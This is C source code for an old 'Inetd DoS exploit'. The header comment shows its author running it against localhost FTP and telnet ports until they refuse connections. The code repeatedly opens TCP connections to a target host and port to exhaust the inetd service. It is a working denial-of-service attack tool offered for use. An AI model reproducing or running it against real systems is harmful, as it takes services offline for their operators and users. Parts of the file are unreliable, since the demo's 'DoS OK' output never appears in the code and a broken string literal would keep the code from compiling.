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- /*
- ----------------------------------
- Inetd DoS exploit bY Serega[Linux]
- IHG Project www.ihgroup.ru
- mailto:linux@ihgroup.ru
- ----------------------------------
-
- Usage: ./inetddos <host> <port>
-
- example:
-
- [ser@ihg prog]$ ./pscaner -h 127.0.0.1
- -----------------------------
- Open ports on [127.0.0.1]
- [21] OPEN : 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
- [23] OPEN :
- [25] OPEN : 220 ihg.localhost ESMTP Sendmail 8.11.0/8.11.0; Sun, 25 Feb 2001 18:58:36 +0300
- -----------------------------
-
- [ser@ihg prog]$ telnet 127.0.0.1 21
- Trying 127.0.0.1...
- Connected to 127.0.0.1.
- Escape character is '^]'.
- 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
-
- [ser@ihg prog]$ cc inetddos.c -o inetddos
- [ser@ihg prog]$ ./inetddos 127.0.0.1 21
- DoS OK
- [ser@ihg prog]$ telnet 127.0.0.1 21
- Trying 127.0.0.1...
- telnet: Unable to connect to remote host: Connection refused
- [ser@ihg prog]$ telnet 127.0.0.1 23
- Trying 127.0.0.1...
- Connected to 127.0.0.1.
- Escape character is '^]'.
- login:
-
- [ser@ihg prog]$ ./inetddos 127.0.0.1 23
- DoS OK
- [ser@ihg prog]$ telnet 127.0.0.1 23
- Trying 127.0.0.1...
- telnet: Unable to connect to remote host: Connection refused
-
- */
-
-
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <time.h>
- #include <signal.h>
-
-
- void time_out(int sig);
- int timeout=5;
- char logo[512];
- int sockfd;
-
- DoS (char *host, int port)
- {
- unsigned long int ip_addr;
- struct sockaddr_in serv;
-
-
- struct hostent *h;
- unsigned long int rv;
- serv.sin_family = AF_INET;
- if ((h=gethostbyname(host)) == NULL)
- {
- close(sockfd);
- perror(host);
- exit(1);
- }
-
- if(h!=NULL)
- memcpy(&rv,h->h_addr,h->h_length);
- else
- rv=inet_addr(host);
- serv.sin_addr.s_addr = rv;
- serv.sin_port = htons(port);
-
- if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
- {
- perror ("socket error");
- exit(1);
- }
-
- alarm(timeout);
- signal(SIGALRM, (void *)&time_out);
-
- if (connect (sockfd, (struct sockaddr*)&serv, sizeof(serv)) != 0)
- {
- close(sockfd);
- perror(host);
- exit(1);
- }
-
- alarm(0);
- close(sockfd);
- return(1);
- }
-
-
-
- void time_out (int sig)
- {
- close(sockfd);
- printf("timeout\n");
- exit(-1);
- }
-
-
- usage(char *h)
- {
- printf("----------------------------------\nInetd DoS exploit bY Serega[Linux]
- IHG Project www.ihgroup.ru
- mailto:linux@ihgroup.ru\n----------------------------------\n");
- printf("\nUsage: %s <host> <port>\n\n", h);
- exit(1);
- }
-
-
- main(int argc, char **argv)
- {
- int i;
- if (argc<3) usage(argv[0]);
-
- for (i=1; i<1000; i++)
- DoS(argv[1], atoi(argv[2]));
- printf("DoS failed\n");
-
- }
-